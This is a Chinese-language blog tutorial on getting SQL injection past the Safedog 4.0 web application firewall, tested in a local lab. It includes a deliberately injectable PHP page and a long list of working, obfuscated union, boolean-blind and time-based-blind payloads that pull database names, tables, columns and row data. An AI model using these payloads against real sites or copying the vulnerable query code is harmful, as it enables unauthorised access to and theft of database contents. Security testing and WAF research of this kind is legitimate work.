0x00 前言
最近看了不少关于WAF绕过的文章,想把理论深化到实践当中去,于是就有了您正在看的这篇文章,这篇文章分为两大部分,分别写的是SQL注入相关的WAF绕过和一句话木马免杀相关的WAF绕过,本文用来做测试的WAF是安全狗(4.0最新版),在一句话木马免杀的章节也会提到一些绕过D盾的技巧。
0x01 绕过安全狗继续SQL注入
其实说白了,绕过WAF就是混淆你的SQL语句,让它以另一种方式呈现出来,以绕过WAF的黑名单正则表达式匹配,至于具体的混淆方法,网络上有很多的文章已经讲的够详细了,在这里我就直接进入实战环节,不在讲具体方法和原理。
测试环境:WIN10 + Apache +php5.4.45 + mysql5.5.53 + 安全狗4.0版本
测试代码(inject.php)如下:
<?php
$id = $_GET['id'];
$con = mysql_connect("localhost","root","root");
if (!$con){die('Could not connect: ' . mysql_error());}
mysql_select_db("dvwa", $con);
$query = "SELECT first_name,last_name FROM users WHERE user_id = '$id'; ";
$result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');
while($row = mysql_fetch_array($result))
{
echo $row['0'] . " " . $row['1'];
echo "<br />";
}
echo "<br/>";
echo $query;
mysql_close($con);
?>
首先是注入点测试:
and '1'='1
被拦截,猜测可能是关键字and被过滤,修改and为&&,urlencode后为%26%26
成功绕过安全狗。
当然了,只能判断注入点是肯定没有任何任意的,下面我们来尝试用unionselect语句来提取一下数据,直接上union select语句肯定被拦截,我就不再截图了。
这里我们主要用的绕过方法是:
1.利用()代替空格
2.利用mysql特性/*!*/执行语句
3.利用/**/混淆代码
我给出的注入语句是:
1' union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
可以看到,成功注入没有拦截
这里要注意的几点是:
1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
2./*!*/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
3.数据或者函数周围可以无限嵌套()
4.利用好%00
同样的道理,我们可以利用上述方法爆出当前数据库的数据表
当然,在真实环境下直接union select数据的注入点是非常少见的,还是盲注占多数,按照上面的思路方法我们可以非常轻松的测试出绕过安全狗的盲注语句,我测试了好长时间,总结出的语句如下:
判断: 1'/**/%26%261%3d2%23
判断列数: 1' order by 2%23
关联查询爆出用户和数据库: 1%27%20union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
关联查询爆出数据表: %27%20union/*%00*//*!50010select*/((group_concat(table_name))),null/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())%23
关联查询爆出字段值: %27%20union/*%00*//*!50010select*/((group_concat(COLUMN_NAME))),null/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27%23
关联查询提取数据: %27%20union/*%00*//*!50010select*/((group_concat(first_name))),null/**/from/**/((users))%23
盲注爆出数据库: 1' and substr(database/**/(),1,1)%3d'1'%23
盲注爆出数据表: 1'/*%00*/and substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1)%3d'1'%23
盲注爆出字段值: 1'/*%00*/and substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1)%3d'1'%23
盲注提取数据: 1'/*%00*/and substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1)%3d'1'%23
基于时间的盲注爆出数据库: 1'/*%00*/and (select case when (substr(database/**/(),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注爆出数据表: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注爆出字段值: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注提取数据: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1) like 'd') then sleep/**/(3) else 0 end)%23
上列的是关联查询注入、盲注、基于时间的盲注从获取数据库名一直到获取表名、字段名、数据值的所有过狗语句。